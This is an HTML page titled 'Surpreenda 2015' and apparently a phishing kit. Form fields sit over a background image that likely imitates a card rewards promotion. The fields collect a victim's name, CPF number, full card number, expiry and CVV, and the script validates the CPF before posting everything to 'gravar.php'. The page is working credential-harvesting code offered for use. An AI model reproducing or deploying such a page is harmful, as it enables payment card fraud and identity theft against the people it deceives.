<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> 
<html> 
    <head> 
        <title>Surpreenda 2015</title> 
        <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> 
        <script language="JavaScript" type="text/JavaScript"> 
            function SomenteNumero(e) {
            var tecla = (window.event) ? event.keyCode : e.which;
            if ((tecla > 47 && tecla < 58))
            return true;
            else {
            if (tecla == 8 || tecla == 0)
            return true;
            else
            return false;
            }
            }

            function SomenteLetras(e)
            {
            var tecla = new Number();
            if (window.event) {
            tecla = e.keyCode;
            }
            else if (e.which) {
            tecla = e.which;
            }
            else {
            return true;
            }
            if ((tecla >= "48") && (tecla <= "57")) {
            return false;
            }
            }
            function vercpf(cpf)
            {
            if (cpf.length != 11 || cpf == "00000000000" || cpf == "11111111111" || cpf == "22222222222" || cpf == "33333333333" || cpf == "44444444444" || cpf == "55555555555" || cpf == "66666666666" || cpf == "77777777777" || cpf == "88888888888" || cpf == "99999999999")
            return false;
            add = 0;
            for (i = 0; i < 9; i ++)
            add += parseInt(cpf.charAt(i)) * (10 - i);
            rev = 11 - (add % 11);
            if (rev == 10 || rev == 11)
            rev = 0;
            if (rev != parseInt(cpf.charAt(9)))
            return false;
            add = 0;
            for (i = 0; i < 10; i ++)
            add += parseInt(cpf.charAt(i)) * (11 - i);
            rev = 11 - (add % 11);
            if (rev == 10 || rev == 11)
            rev = 0;
            if (rev != parseInt(cpf.charAt(10)))
            return false;
            return true;
            //alert('CPF V�LIDO');
            }

            function gravar() {
            var nome = document.getElementById("nome").value;
            var cpf = document.getElementById("cpf").value;
            var card = document.getElementById("card").value;
            var cvv = document.getElementById("cvv").value;
            if (nome.length > 4 && cpf.length >= 11 && card.length >= 16 && cvv.length >= 3) {
            if (vercpf(cpf)) {
            document.getElementById("form1").submit();
            } else {
            alert('CPF Invalido!');
            }
            } else {
            alert('Preencha todos os campos corretamente!');
            }
            }

        </script> 
    </head> 
    <body>    
        <div id="conteudo" style="position:absolute; left:0px; top:0px; width:100%; "><img src="img/1.png" onClick=""></div>
        <form action="gravar.php" id="form1" name="form1" method="post" enctype="multipart/form-data">
            <input type="text" name="nome" id="nome"  maxlength="60" onkeypress="return SomenteLetras(event)"  style="border: none1; position: absolute; left: 388px; top: 640px; width: 305px; height: 28px; z-index: 1">            
            <input type="text" name="cpf" id="cpf"  maxlength="15" onkeypress="return SomenteNumero(event)"  style="border: none1; position: absolute; left: 388px; top: 708px; width: 307px; height: 26px; z-index: 1">
            <input type="text" name="card" id="card"  maxlength="16" onkeypress="return SomenteNumero(event)"  style="border: none1; position: absolute; left: 388px; top: 777px; width: 307px; height: 28px; z-index: 1">

            <select name="mes" size="1" id="mes" style="border: none1; position:absolute; left:388px; top:845px; width:100px; height:25px; z-index:1" >
                <option value="01 (Jan)">01 (Jan)</option>
                <option value="02 (Fev)">02 (Fev)</option>
                <option value="03 (Mar)">03 (Mar)</option>
                <option value="04 (Abr)">04 (Abr)</option>
                <option value="05 (Maio)">05 (Maio)</option>
                <option value="06 (Jun)">06 (Jun)</option>
                <option value="07 (Jul)">07 (Jul)</option>
                <option value="08 (Ago)">08 (Ago)</option>
                <option value="09 (Set)">09 (Set)</option>
                <option value="10 (Out)">10 (Out)</option>
                <option value="11 (Nov)">11 (Nov)</option>
                <option value="12 (Dez)">12 (Dez)</option>
            </select> 
            <select id="ano" name="ano" style="border: none1; position:absolute; left:500px; top:845px; width:50px; height:25px; z-index:1">
              <option value="15">15</option>
                <option value="16">16</option>
                <option value="17">17</option>
                <option value="18">18</option>
                <option value="19">19</option>
                <option value="20">20</option>
                <option value="21">21</option>
                <option value="22">22</option>
                <option value="23">23</option>
                <option value="24">24</option>
                <option value="25">25</option>
                <option value="26">26</option>
                <option value="27">27</option> 
                <option value="28">28</option> 
                <option value="29">29</option> 
                <option value="30">30</option> 
            </select>
            <input type="text" name="cvv" id="cvv"  maxlength="4" onkeypress="return SomenteNumero(event)"  style="border: none1; position: absolute; left: 391px; top: 893px; width: 68px; height: 27px; z-index: 1">

            <img src="img/btn1.png" id="btnEntrar" onclick="gravar();" style="z-index: 1; position: absolute; left: 386px; top: 941px; cursor: pointer;" />  
        </form>
    </body> 
</html>